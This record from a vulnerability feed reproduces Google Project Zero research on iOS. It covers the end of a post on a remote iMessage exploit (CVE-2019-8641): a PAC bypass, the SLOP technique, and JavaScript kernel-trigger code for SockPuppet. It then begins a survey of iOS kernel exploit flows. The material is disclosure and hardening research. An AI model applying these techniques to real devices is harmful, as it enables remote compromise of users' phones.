a stack pivot and implement a payload in ROP\n\n** \n**\n\nAt this point, an attacker has succeeded in exploiting a device that does not support PAC (iPhone X and earlier). However, with PAC enabled, the above attack is no longer possible as is explained in the next section.\n\n** \n**\n\n## The Impact of PAC in Userspace\n\n** \n**\n\nBrandon Azad has previously done some great research [detailing how PAC works in the kernel](<https://googleprojectzero.blogspot.com/2019/02/examining-pointer-authentication-on.html>). PAC in userspace is not too different. Next is a high level summary of how PAC works in userspace. For more information, the reader is referred to [llvm\u2019s documentation of PAC](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst>).\n\n** \n**\n\nEvery code pointer (function pointer, ObjC method pointer, return address, \u2026) is signed with a secret key as well as an optional 64-bit \u201ccontext\u201d value. The resulting signature is truncated to 24 bits which are then stored in the upper part of a pointer, which are normally unused. Before jumping to a code pointer, the pointer\u2019s signature is verified by recomputing it with the same key and context value and comparing the result to the bits stored in the pointer. If they match, the signature bits are cleared, leaving a valid pointer to be dereferenced. If they don\u2019t match, the pointer becomes clobbered, thus leading to an access violation when it is subsequently dereferenced.\n\n** \n**\n\nThe main purpose of the context value is to prevent pointer swapping attacks in which a signed pointer is copied from one location in the process to another. As an example, ObjC method Implementation pointers stored in the method cache use the address of the cache entry as context while return addresses on the stack use the address of themselves in the stackframe as context. As such, the two cannot be swapped.\n\n** \n**\n\nTo summarize, with PAC enabled and without a bug in the implementation of PAC itself or a signing gadget (a piece of code that can legitimately be invoked and which will add a PAC signature to an arbitrary pointer and return the result to the attacker), it becomes impossible to fake code pointers like the previously described exploit does. The bypass described next assumes such a \u201cflawless\u201d implementation.\n\n** \n**\n\nOne attack that is still viable despite PAC is to create fake instances of ObjC classes and call existing (legitimate) methods on them. This is possible because [PAC does not currently protect the ISA value](<https://github.com/apple/llvm-project/blob/apple/master/clang/docs/PointerAuthentication.rst#objective-c-methods>) which identifies a class instance (this is likely due to the fact that the ISA value does not have enough spare bits for a signature). As such, knowing the base address of the dyld shared cache (which contains all the ObjC Class objects), it becomes possible to fake instances of any class in any library currently loaded in the process.\n\n** \n**\n\nHowever, on the code path that is currently taken ([NSSharedKeySet indexForKey:], only a small number of selectors are ever sent to the controlled object, for example \u2018__isNSString\u2019. This is likely not very useful as none of the available implementations perform anything particularly interesting. Another code path yielding a different primitive thus has to be found.\n\n** \n**\n\n## A Useful Exploit Primitive\n\n** \n**\n\nAs described above, ObjC relies heavily on reference counting, and one of the most common operations performed on an object (besides objc_msgSend) is objc_release. Due to that, many memory corruption vulnerabilities can be turned into an objc_release call on a controlled object. This is also the case here, although some more effort is required as, by itself, the code used during [NSSharedKeySet indexForKey:] will not call objc_release on the attacker controlled object. As such, a new object graph is required once again to reach a different piece of code, in this case in [NSSharedKeyDictionary setObject:ForKey:], called during [NSSharedKeyDictionary initWithCoder:] as shown next.\n\n \n\n\n** \n**\n\n 1. -[NSSharedKeyDictionary initWithCoder:coder] {\n\n 2. self->_keyMap = [coder decodeObjectOfClass:[NSSharedKeySet class] \n\n 3. forKey:@\u201dNs.skkeyset\u201d];\n\n 4. self->_values = calloc([self->_keyMap count], 8);\n\n 5. NSArray* keys = [coder decodeObjectOfClasses:[...] \n\n 6. forKey:@\u201dNS.keys\u201d]];\n\n 7. NSArray* values = [coder decodeObjectOfClasses:[...] \n\n 8. forKey:@\u201dNS.values\u201d]];\n\n 9. 10. if ([keys count] != [values count]) { // return error }\n\n 11. \n\n 12. for (int i = 0; i < [keys count]; i++) {\n\n 13. [self setObject:[values objectAtIndex:i] \n\n 14. forKey:[keys objectAtIndex:i]];\n\n 15. }\n\n 16. }\n\n** \n**\n\n 1. -[NSSharedKeyDictionary setObject:obj forKey:key] {\n\n 2. uint32_t index = [self->_keyMap indexForKey:key];\n\n 3. if (index != -1) { \n\n 4. id oldval = self->_values[index];\n\n 5. objc_retain(obj);\n\n 6. self->_values[index] = obj;\n\n 7. objc_release(oldval);\n\n 8. } \n\n 9. }\n\n** \n**\n\nNote that in [NSSharedKeyDictionary initWithCoder:], there is no check for nullptr after the call to calloc() in line 4. This is likely not a problem under normal circumstances as another allocation of the same size would have to succeed first (for the SharedKeySet) and its content (multiple gigabytes of data) would have to be sent over iMessage. However, it does become a problem in combination with the current vulnerability, as now a _numKey value of one of the SharedKeySets is not yet validated at the time this code runs, thus allowing an attacker to cause calloc() to fail without requiring other huge allocations to succeed first. Afterwards, [NSSharedKeyDictionary setObject:forKey:] can be tricked to again read an ObjC id from an attacker controlled address (line 4) and subsequently call objc_release on it (line 7). The object graph shown next triggers this case and performs an objc_release call on an attacker controlled value. The return value of calloc() has since been checked against nullptr, in which case unarchiving is aborted.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMpq5iI8M39sDpQx2M_ERppd3Hcr1SXy7p8Ri-3nhHvibSPtsFY4gY842zHkXPaBM0EsKSrF8bXWK0m_XAa9Dhoo75xL6RYa7RqWwhupSXlaL1Z23v6_aBd5TvA-s-NAdPUCZeyiZGnFfWgVAj8fyZlsaixVj6iisxkmCgqLC3r2dS_3T25UIyIQdc/s2048/ExploitPrimitive.png>)\n\nWhen the shown object graph is unarchived, SharedKeyDictionary2 will attempt to store the value for \u201ck2\u201d in itself and will thus call [SharedKeySet2 indexForKey:\"k2\"]. This in turn will recurse to SharedKeySet1, which will also not find the key (as the index fetched from its _rankTable is larger than _numKey) and recurse further. Finally, SharedKeySet3 will be able to lookup \u201ck2\u201d and return the currently accumulated offset, which is (1 + 0x41414140/8). SharedKeyDictionary2 will then access 0x41414148, call objc_release on the value read there and finally write the NSString \u201cfoobar\u201d to that address. This now provides the arbitrary objc_release primitive required for further exploitation.\n\n** \n**\n\nWith that, it is now possible to get any legitimate \u2018dealloc\u2019 or \u2018.cxx_desctruct\u2019 (which are additional destructors automatically generated by the compiler) method called. There are about 50,000 such functions in the shared cache. Quite a lot of gadgets! To find interesting gadgets, the following IDAPython snippet can be used on a loaded dyld_shared_cache image. It enumerates the available destructors and writes their name + decompiled code to disk:\n\n** \n**\n\nfor funcea in Functions():\n\nfuncName = GetFunctionName(funcea)\n\nif \u2018dealloc]\u2019 in funcName or \u2018.cxx_desctruct]\u2019 in funcName:\n\nfunc = get_func(funcea)\n\noutfile.write(str(decompile(func)) + \u2018\\n\u2019)\n\n** \n**\n\nOne approach to finding interesting dealloc \u201cgadgets\u201d is to grep the decompiled code for specific selectors that are being sent to other objects, further increasing the amount of code that can be executed. One dealloc implementation that is particularly interesting is printed below:\n\n** \n**\n\n-[MPMediaPickerController dealloc](MPMediaPickerController *self, SEL)\n\n{\n\nv3 = objc_msgSend(self->someField, \"invoke\");\n\nobjc_unsafeClaimAutoreleasedReturnValue(v3);\n\nobjc_msgSend(self->someOtherField, \"setMediaPickerController:\", 0);\n\nobjc_msgSendSuper2(self, \"dealloc\");\n\n}\n\n** \n**\n\nThis sends the \u201cinvoke\u201d selector to an object read from the faked self object. \u201cinvoke\u201d is for example implemented by [NSInvocation](<https://developer.apple.com/documentation/foundation/nsinvocation>) objects, which are essentially bound functions: a triplet of (target object, selector, arguments) which, when sent the \u201cinvoke\u201d selector, will call the stored selector on the target object with the stored arguments. It is thus possible to call any ObjC method on a completely controlled object with arbitrary arguments. Quite a powerful primitive. In fact, already powerful enough to pop calc. The call:\n\n** \n**\n\n[UIApplication launchApplicationWithIdentifier:@\"com.apple.calculator\" suspended:NO]\n\n** \n**\n\n...will do the job just fine :)\n\n** \n**\n\nThe final heap spray layout then looks roughly as depicted below. The heap spray must now be a bit bigger because the previously used address 0x110000000, which will now also be used as the size argument to calloc, will not cause calloc to fail on newer devices, so a higher address such as 0x140000000 is necessary. Note also that the call to \u2018setMediaPickerController\u2019 in the dealloc implementation can simply be survived by setting someOtherField to zero, in which case objc_msgSend generally becomes a nop. NSInvocation objects are made up of a \u201cframe\u201d, a pointer to a buffer containing the arguments for the call, as well as storage for the return value and a reference to a NSMethodSignature object containing information about the number and type of the arguments. The latter two fields are omitted in the diagram for brieviety.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRoQjcXknwnUxwFAWqJIE-2vUMftTrN2L6pOwVCXcSk4OO4PmLy2mW5meOC_gOY-z-Yz3vs6yQO-U4PDBkycehi2FeC4Z7vFFN6lifIx5JcGvjQEjKVXTGe8_JmlE1AWYlwBA_isNQeys7_XeyRrH9VBbsN87qUw620C3IjJMHrLKaj10KM1Fsv3yD/s2048/Heap%20Spray%20Content.png>)\n\nTo trigger the controlled ObjC method invocation from [NSSharedKeyDictionary setObject:obj forKey:key], the address 0x140003ff8 must be accessed so that a pointer to the fake MPMediaPickerController is passed to objc_release.\n\n** \n**\n\nThe video below shows the exploit in action. Note that there is no \u201crespring\u201d or similar crash behaviour happening as SpringBoard continues normally after executing the payload.\n\n** \n**\n\n \nWhile opening a calculator is nice, the ultimate goal of an exploit like the one presented here is likely to stage a kernel exploit. One option for that is to use the current capability to open a WebView and serve a classic browser exploit. However, that would likely require a separate browser vulnerability. The final question is thus whether it is possible to directly chain a kernel exploit given the current primitive. The remainder of this blog post will now explore this option.\n\n** \n**\n\n## SeLector Oriented Programming (SLOP)\n\n** \n**\n\nThe technique described here was not part of the initial exploit PoC that was sent to Apple. As such, it was separately reported on September 13 as an exploitation technique (noting that exploitation techniques are not subject to Project Zero's 90 day deadlines)\n\n** \n**\n\nExpanding on the current exploitation capability, the ability to call a single method on a controlled object with controlled arguments, the next step is to gain the ability to chain multiple method calls together. Furthermore, it should also be possible to use the return values of method calls, for example as arguments to subsequent ones, and to be able to read and write process memory. The following technique, dubbed SLOP for SeLector Oriented Programming ;), allows this.\n\n** \n**\n\nFirst, it is possible to chain multiple selector calls together by creating a fake NSArray containing fake NSInvocation objects, then calling [[NSArray makeObjectsPerformSelector:@selector(invoke)]](<https://developer.apple.com/documentation/foundation/nsarray/1460115-makeobjectsperformselector?language=objc>) on it (through the \u201cbootstrap\u201d NSInvocation that is invoked during [MPMediaPickerController dealloc]). This will invoke each of the NSInvocations, thus performing multiple independent ObjC method calls.\n\n** \n**\n\nNext, by using the [[NSInvocation getReturnValue:ptr]](<https://developer.apple.com/documentation/foundation/nsinvocation/1437832-getreturnvalue?language=objc>) method, it is possible to write the return value of a previous method call somewhere in memory, for example into the arguments buffer of a following call. With that, it is possible to use return values of method calls as arguments for subsequent ones.\n\n** \n**\n\nA simple SLOP chain then looks like this:\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiSHRdcv9Yy2tbo7UUXrWszCDIo_6_VxaM0GSg4hSWcO41hdTnojQHsccZg5bJXG7_zIza5ltdpQuxYddOMh3tyYqcExtd_YUfij4tY8K6Fxnqzf2sGdqL1SvGTOHcK7CQMaMxputEvwhbFp_SnizjOUtGFIjQtHY1hjH5gwqn26ORx2MhGyynoekzr/s2048/SLOP.png>)\n\nThis chain is equivalent to the following ObjC code:\n\n** \n**\n\nid result = [target1 doX];\n\n[target2 doY:result];\n\n** \n**\n\nFor the final primitive, the ability to read and write process memory, the [[NSInvocation getArgument:atIndex]](<https://developer.apple.com/documentation/foundation/nsinvocation/1437830-getargument?language=objc>) method can be used, of which simplified pseudocode is shown next:\n\n** \n**\n\nvoid -[NSInvocation getArgument:(void*)addr atIndex:(uint)idx] {\n\nif (idx >= [self->_signature numberOfArguments]) {\n\n...; // abort with exception\n\n}\n\n** \n**\n\nmemcpy(addr, &self->_frame[idx], 8);\n\n}\n\n** \n**\n\nAs the above method can be invoked using SLOP, it is possible to perform arbitrary memory reads and writes (with [\u2019setArgument:atIndex\u2019](<https://developer.apple.com/documentation/foundation/nsinvocation/1437834-setargument?language=objc>) instead) by creating fake NSInvocation objects where the _frame member points to the desired address. Conveniently, this also allows reading and writing at an offset from the pointer which facilitates accessing or corrupting members of some data structure. This will be an important primitive for the next part.\n\n** \n**\n\nWith SLOP, it is now possible to execute arbitrary ObjC methods. As this happens outside of the sandbox in SpringBoard, it is already sufficient to for example gain access to user data. However, by itself, SLOP is likely not powerful enough to execute a kernel exploit, which is the final step for a full device compromise. This is for example due to the lack of (obvious) control-flow primitives that SLOP provides.\n\n## Chaining a Kernel Exploit\n\n** \n**\n\nOne approach for executing a kernel exploit is then to use SLOP to pivot into a scripting context, for example into [JavaScriptCore.framework](<https://developer.apple.com/documentation/javascriptcore?language=objc>), and implement the kernel exploit in that scripting language. Pivoting into JavaScript from SLOP is easily possible using the following method calls:\n\n** \n**\n\nJSContext* ctx = [[JSContext alloc] init];\n\n[ctx evaluateScript:scriptContent];\n\n** \n**\n\nIn order to execute a kernel exploit in JavaScript, the following primitives will have to be bridged into JavaScript or recreated there:\n\n** \n**\n\n 1. The ability to read and write the memory of the current process\n\n 2. The ability to call C functions and in particular syscalls\n\n** \n**\n\nGaining memory read/write in JavaScript is rather easy with a standard browser exploitation technique: corrupting JavaScript [DataViews](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DataView>)/[TypedArrays](<https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray>). In particular, two DataView objects can be created in JS, then [returned to ObjC](<https://developer.apple.com/documentation/javascriptcore/jscontext/1451771-objectforkeyedsubscript?language=objc>), where the first one is corrupted so that its backing memory pointer now points to the second one. The resulting situation is shown in the image below. Corrupting the backing storage pointer is possible by using the memory read/write primitive in SLOP as described above.\n\n[](<https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWQJGlRPGzC51weNE1cKBTjxVmJPU3dRshmiapm11GUgF7ho-Xam5EZhnSaW8dE3jV85tiBflkdysP2rRo9FUEF_oWu2U8fGXeeDW_9fknMLNsaFb5fJUBP6y2S7IlFMsJ2Rk7zb1AHUhnC_z9Lfnw0KI0g-JoPYIDYzycSwjpmxJVecF7Gkh5uk3J/s1945/DataViews.png>)\n\nSubsequently, it is now possible to read from/write to arbitrary addresses from JavaScript by first corrupting the backing storage pointer of the second DataView through the first one, then accessing the second DataView\u2019s storage. Conveniently, [Gigacage](<https://phakeobj.netlify.com/posts/gigacage/>), a mitigation in JavaScriptCore designed to hinder the abuse of ArrayBuffers and similar in such a way, is [not active in JSC builds for Cocoa](<https://github.com/WebKit/webkit/blob/98cbf74a29d2dfea8c253ebd09cacb2c44c7557d/Source/bmalloc/bmalloc/ProcessCheck.h#L34>). This solves point 1 above.\n\n** \n**\n\nAfterwards, point 2 can be achieved with the following two ObjC methods:\n\n * [CNFileServices dlsym::], which is just a thin wrapper around dlsym(3). With PAC enabled, dlsym will sign returned function pointers with context zero (as no sensible context value is available to the caller) before returning them\n\n * [NSInvocation invokeUsingIMP:], which accepts an IMP, a function pointer signed with context zero, as argument and calls it with the arguments from its frame buffer, which are thus fully controlled\n\n** \n**\n\nCombining these two ObjC methods allows calling of arbitrary exported C functions with arbitrary arguments. Finally, it is also possible to bridge this capability into JavaScript: JavaScript core supports bridging ObjC objects by implementing the [JSExport protocol](<https://developer.apple.com/documentation/javascriptcore/jsexport?language=objc>) and specifying the methods that should be exposed to JS. ObjC methods bridged in that way are implemented by creating one NSInvocation object for every method and [invoking it when the method is called in JS](<https://github.com/WebKit/webkit/blob/4193dc90616f9538b99058517fee62c53b094951/Source/JavaScriptCore/API/ObjCCallbackFunction.mm#L585>). Given the memory read/write capability, it is then possible to corrupt this NSInvocation object to call a different method on a different object, for example [CNFileServices dlsym::] or [NSInvocation invokeUsingIMP:].\n\n** \n**\n\nWith all of that and a bit of wrapper code to expose the required functionality in a convenient way, a reimplementation of Ned Williamson\u2019s [trigger](<https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=398587>) for [CVE-2019-8605 aka SockPuppet](<https://googleprojectzero.blogspot.com/2019/12/sockpuppet-walkthrough-of-kernel.html>) looks like this (see crash_kernel.js for the full code):\n\n** \n**\n\nlet sonpx = memory.alloc(8);\n\nmemory.write8(sonpx, new Int64(\"0x0000000100000001\"));\n\nlet minmtu = memory.alloc(8);\n\nmemory.write8(minmtu, new Int64(\"0xffffffffffffffff\"));\n\n** \n**\n\nlet n0 = new Int64(0);\n\nlet n4 = new Int64(4);\n\nlet n8 = new Int64(8);\n\n** \n**\n\nwhile (true) {\n\nlet s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);\n\nsetsockopt(s, SOL_SOCKET, SO_NP_EXTENSIONS, sonpx, n8);\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);\n\ndisconnectx(s, n0, n0);\n\n// The next setsockopt will write into a freed buffer, so\n\n// give the kernel some time to reclaim it first.\n\nusleep(1000);\n\nsetsockopt(s, IPPROTO_IPV6, IPV6_USE_MIN_MTU, minmtu, n4);\n\nclose(s);\n\n}\n\n** \n**\n\nThis demonstrates that it is possible to execute a kernel exploit from JavaScript after a successful remote exploit over iMessage and without any further vulnerabilities (e.g. a JavaScriptCore RCE exploit). \n\n** \n**\n\nThe source code for the proof-of-concept exploit can be found [here](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1917#c6>).\n\n## Improving Messenger Security\n\n** \n**\n\nThe insights gained during the exploitation work led to numerous recommendations for hardening measures, most of which have already been mentioned throughout this series where appropriate and have also been communicated to Apple. As they could also be relevant for other messenger and mobile operating system vendors, they are restated next.\n\n** \n**\n\n 1. As much code as possible should be put behind user interaction, in particular when receiving messages from unknown senders.\n\n 2. Communication side channels in the interactionless attack surface such as automatic delivery receipts should be removed. If that is not possible, the receipts should at least be sent in a way that prevents them from being abused to construct a crash oracle, for example by sending them on the server side or from a dedicated process\n\n 3. Processes handling incoming data should be sandboxed as much as possible and should be disallowed any network interaction to stop an attacker from constructing a communication channel (and afterwards an info leak) through a memory corruption or logic bug. This would also prevent bugs such as [CVE-2019-8646](<https://googleprojectzero.blogspot.com/2019/08/the-many-possibilities-of-cve-2019-8646.html>) from being easily exploitable.\n\n 4. ASLR should be as strong as possible. In particular, both heap spraying and brute force guessing should be impractical on any remote attack surface. Similarly, on iOS, the ASLR of the dyld shared cache region could be improved.\n\n 5. Some probabilistic defenses (ASLR, and in the future memory tagging) can be defeated if the attacker gets enough attempts (as is the case here with imagent). As such, it seems desirable to limit the number of attempts an attacker gets whenever possible and to deploy monitoring that is able to detect failed exploitation attempts.\n\n** \n**\n\nSince developing and reporting the presented exploit to Apple on August 9, the following security relevant changes to iOS have taken place:\n\n** \n**\n\n 1. A large part of the NSKeyedUnarchiver attack surface in iMessage was blocked ([by disallowing the decoding of child classes](<https://twitter.com/5aelo/status/1172534071332917248>)), thus rendering this bug and others unexploitable over iMessage\n\n 2. The vulnerability exploited here was fixed and assigned CVE-2019-8641\n\n 3. The decoding of the \u201cBP\u201d NSKeyedUnarchiver payload contained in incoming iMessages was moved into a sandboxed process (IMDPersistenceAgent). As such, an attacker exploiting an NSKeyedUnarchiver vulnerability over iMessage will now also need to break out of a sandbox.\n\n 4. A new unsigned int field, _magic, was added to the NSInvocation class. This field is set to the value of a per-process random global variable during initialization and asserted to be equal to it again during [NSInvocation invoke]. As such, it is no longer possible to create fake NSInvocation instances (which is a requirement for the presented PAC bypass) without leaking this value beforehand. Further, it appears that efforts are being made to protect the selector and target fields of NSInvocation with PAC in the future, additionally hindering abuse of NSInvocations even in case of an attacker with memory read/write capabilities.\n\n 5. The [MPMediaPickerController dealloc] method, which was used to bootstrap the PAC bypass by sending the \u201cinvoke\u201d selector to an attacker-controlled object, appears to have been removed. However, there are still other dealloc implementations that call \u201cinvoke\u201d on an attacker controlled object left. These might be removed in the future as well. As described above, it is in any case now more difficult to create fake NSInvocation instances. \n\n** \n**\n\nThis list could be incomplete as it was compiled through reverse engineering and manual experimentation, as Apple do not currently share any details of how their issues were fixed with security researchers.\n\n** \n**\n\nOn a final note, while good sandboxing is critical, it should not be relied upon blindly. As an example to consider, the vulnerability exploited here would likely also be usable to escape any sandbox on the device as the targeted API is commonly exposed over IPC as well.\n\n** \n**\n\n## Conclusion\n\n** \n**\n\nThis blog post series demonstrated that, despite numerous exploit mitigations being deployed, it is still possible to exploit memory corruption vulnerabilities in a non-interactive setting such as mobile messaging services and without an additional remote infoleak vulnerability as is commonly deemed necessary. The exploited vulnerability has been fixed by Apple and a few further hardening measures have already been deployed. A key insight of this research was that ASLR, which in theory should offer strong protection in this attack scenario, is not as strong in practice. In particular, ASLR can be defeated through heap spraying and through crash oracles, which can be constructed from commonly available side channels such as automatic delivery receipts. A second insight was that fairly arbitrary code, powerful enough to execute a kernel exploit, could be executed without ever creating or corrupting a code pointer, thus effectively bypassing PAC. Finally, based on the developed exploit, numerous suggestions for attack-surface reduction, hardening, and exploit mitigations were presented. My hope is that this research will ultimately help all vendors by highlighting how small design decisions can have significant security consequences and to hopefully better protect their users from these kinds of attacks.\n\n \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-01-09T00:00:00", "type": "googleprojectzero", "title": "\nRemote iPhone Exploitation Part 3: From Memory Corruption to JavaScript and Back -- Gaining Code Execution\n", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-8605", "CVE-2019-8641", "CVE-2019-8646"], "modified": "2020-01-09T00:00:00", "id": "GOOGLEPROJECTZERO:0A90A47458C0D2B6B85F5BC6C0105ECC", "href": "https://googleprojectzero.blogspot.com/2020/01/remote-iphone-exploitation-part-3.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-07T02:00:35", "description": "Posted by Brandon Azad, Project Zero\n\n** \n**\n\nI recently found myself wishing for a single online reference providing a brief summary of the high-level exploit flow of every public iOS kernel exploit in recent years; since no such document existed, I decided to create it here.\n\n** \n**\n\nThis post summarizes original iOS kernel exploits from local app context targeting iOS 10 through iOS 13, focusing on the high-level exploit flow from the initial primitive granted by the vulnerability to kernel read/write. At the end of this post, we will briefly look at iOS kernel exploit mitigations (in both hardware and software) and how they map onto the techniques used in the exploits.\n\n** \n**\n\nThis isn't your typical P0 blog post: There is no gripping zero-day exploitation, or novel exploitation research, or thrilling malware reverse engineering. The content has been written as a reference since I needed the information and figured that others might find it useful too. You have been forewarned.\n\n# A note on terminology\n\nUnfortunately, there is no authoritative dictionary called \"Technical Hacking Terms for Security Researchers\", which makes it difficult to precisely describe some of the high-level concepts I want to convey. To that end, I have decided to ascribe the following terms specific meanings for the context of this post. If any of these definitions are at odds with your understanding of these terms, feel free to suggest improved terminology and I can update this post. :)\n\n** \n**\n\nExploit primitive: A capability granted during an exploit that is reasonably generic.\n\n** \n**\n\nA few examples of common exploit primitives include: n-byte linear heap overflow, integer increment at a controlled address, write-what-where, arbitrary memory read/write, PC control, arbitrary function calling, etc.\n\n** \n**\n\nA common exploit primitive specific to iOS kernel exploitation is having a send right to a fake Mach port (struct ipc_port) whose fields can be directly read and written from userspace.\n\n** \n**\n\nExploit strategy: The low-level, vulnerability-specific method used to turn the vulnerability into a useful exploit primitive.\n\n** \n**\n\nFor example, this is the exploit strategy used in Ian Beer's async_wake exploit for iOS 11.1.2:\n\n** \n**\n\nAn information leak is used to discover the address of arbitrary Mach ports. A page of ports is allocated and a specific port from that page is selected based on its address. The IOSurfaceRootUserClient bug is triggered to deallocate the Mach port, yielding a receive right to a dangling Mach port at a known (and partially controlled) address.\n\n** \n**\n\nThe last part is the generic/vulnerability-independent primitive that I interpret to be the end of the vulnerability-specific exploit strategy.\n\n** \n**\n\nTypically, the aim of the exploit strategy is to produce an exploit primitive which is highly reliable.\n\n** \n**\n\nExploit technique: A reusable and reasonably generic strategy for turning one exploit primitive into another (usually more useful) exploit primitive.\n\n** \n**\n\nOne example of an exploit technique is Return-Oriented Programming (ROP), which turns arbitrary PC control into (nearly) arbitrary code execution by reusing executable code gadgets.\n\n** \n**\n\nAn exploit technique specific to iOS kernel exploitation is using a fake Mach port to read 4 bytes of kernel memory by calling pid_for_task() (turning a send right to a fake Mach port into an arbitrary kernel memory read primitive).\n\n** \n**\n\nExploit flow: The high-level, vulnerability-agnostic chain of exploit techniques used to turn the exploit primitive granted by the vulnerability into the final end goal (in this post, kernel read/write from local app context).\n\n# Public iOS kernel exploits from app context since iOS 10\n\nThis section will give a brief overview of iOS kernel exploits from local context targeting iOS 10 through iOS 13. I'll describe the high-level exploit flow and list the exploit primitives and techniques used to achieve it. While I have tried to track down every original (i.e., developed before exploit code was published) public exploit available either as source code or as a sufficiently complete writeup/presentation, I expect that I may have missed a few. Feel free to reach out and suggest any that I have missed and I can update this post.\n\n** \n**\n\nFor each exploit, I have outlined the vulnerability, the exploit strategy (specific to the vulnerability), and the subsequent exploit flow (generic). The boundary between which parts of the exploit are specific to the vulnerability and which parts are generic enough to be considered part of the overall flow is subjective. In each case I've highlighted the particular exploitation primitive granted by the vulnerability that I consider sufficiently generic.\n\n## mach_portal - iOS 10.1.1\n\nBy Ian Beer of Google Project Zero ([@i41nbeer](<https://twitter.com/i41nbeer>)). \n\n** \n**\n\nThe vulnerability: CVE-2016-7644 is a race condition in XNU's set_dp_control_port() which leads to a Mach port being over-released.\n\n** \n**\n\nExploit strategy: Many Mach ports are allocated and references to them are dropped by racing set_dp_control_port() (it is possible to determine when the race has been won deterministically). The ports are freed by dropping a stashed reference, leaving the process holding receive rights to dangling Mach ports filling a page of memory.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced by calling mach_zone_force_gc() and the page of dangling ports is reallocated with an out-of-line (OOL) ports array containing pointers to the host port. mach_port_get_context() is called on one of the dangling ports to disclose the address of the host port. Using this value, it is possible to guess the page on which the kernel task port lives. The context value of each of the dangling ports is set to the address of each potential ipc_port on the page containing the kernel task port, and the OOL ports are received back in userspace to give a send right to the kernel task port.\n\n** \n**\n\nReferences: [mach_portal exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=965#c2>).\n\n## In-the-wild iOS Exploit Chain 1 - iOS 10.1.1\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne ([@_clem1](<https://twitter.com/_clem1>)) of Google's Threat Analysis Group. Analyzed by Ian Beer and Samuel Gro\u00df ([@5aelo](<https://twitter.com/5aelo>)) of Google Project Zero.\n\n** \n**\n\nThe vulnerability: The vulnerability is a linear heap out-of-bounds write of IOAccelResource pointers in the IOKit function AGXAllocationList2::initWithSharedResourceList().\n\n** \n**\n\nExploit strategy: The buffer to be overflowed is placed directly before a recv_msg_elem struct, such that the out-of-bounds write will overwrite the uio pointer with an IOAccelResource pointer. The IOAccelResource pointer is freed and reallocated with a fake uio struct living at the start of an OSData data buffer managed by IOSurface properties. The uio is freed, leaving a dangling OSData data buffer accessible via IOSurface properties.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData data buffer slot is reallocated with an IOSurfaceRootUserClient instance, and the data contents are read via IOSurface properties to give the KASLR slide, the address of the current task, and the address of the dangling data buffer/IOSurfaceRootUserClient. Then, the data buffer is freed and reallocated with a modified version of the IOSurfaceRootUserClient, such that calling an external method on the modified user client will return the address of the kernel task read from the kernel's __DATA segment. The data buffer is freed and reallocated again such that calling an external method will execute the OSSerializer::serialize() gadget, leading to an arbitrary read-then-write that stores the address of the kernel task port in the current task's list of special ports. Reading the special port from userspace gives a send right to the kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 1 - AGXAllocationList2::initWithSharedResourceList heap overflow](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-1.html>).\n\n## extra_recipe - iOS 10.2\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2017-2370 is a linear heap buffer overflow reachable from unprivileged contexts in XNU's mach_voucher_extract_attr_recipe_trap() due to an attacker-controlled userspace pointer used as the length in a call to copyin().\n\n** \n**\n\nExploit strategy: The vulnerable Mach trap is called to create a kalloc allocation and immediately overflow out of it with controlled data, corrupting the ikm_size field of a subsequent ipc_kmsg object. This causes the ipc_kmsg, which is the preallocated message for a Mach port, to believe that it has a larger capacity than it does, overlapping it with the first 240 bytes of the subsequent allocation. By registering the Mach port as the exception port for a userspace thread and then crashing the thread with controlled register state, it is possible to repeatedly and reliably overwrite the overlapping part of the subsequent allocation, and by receiving the exception message it is possible to read those bytes. This gives a controlled 240-byte out-of-bounds read/write primitive off the end of the corrupted ipc_kmsg.\n\n** \n**\n\nSubsequent exploit flow: A second ipc_kmsg is placed after the corrupted one and read in order to determine the address of the allocations. Next an AGXCommandQueue user client is reallocated in the same slot and the virtual method table is read to determine the KASLR slide. Then the virtual method table is overwritten such that a virtual method call on the AGXCommandQueue invokes the OSSerializer::serialize() gadget, producing a 2-argument arbitrary kernel function call primitive. Calling the function uuid_copy() gives an arbitrary kernel read/write primitive.\n\n** \n**\n\nReferences: [Exception oriented exploitation on iOS](<https://googleprojectzero.blogspot.com/2017/04/exception-oriented-exploitation-on-ios.html>), [extra_recipe exploit 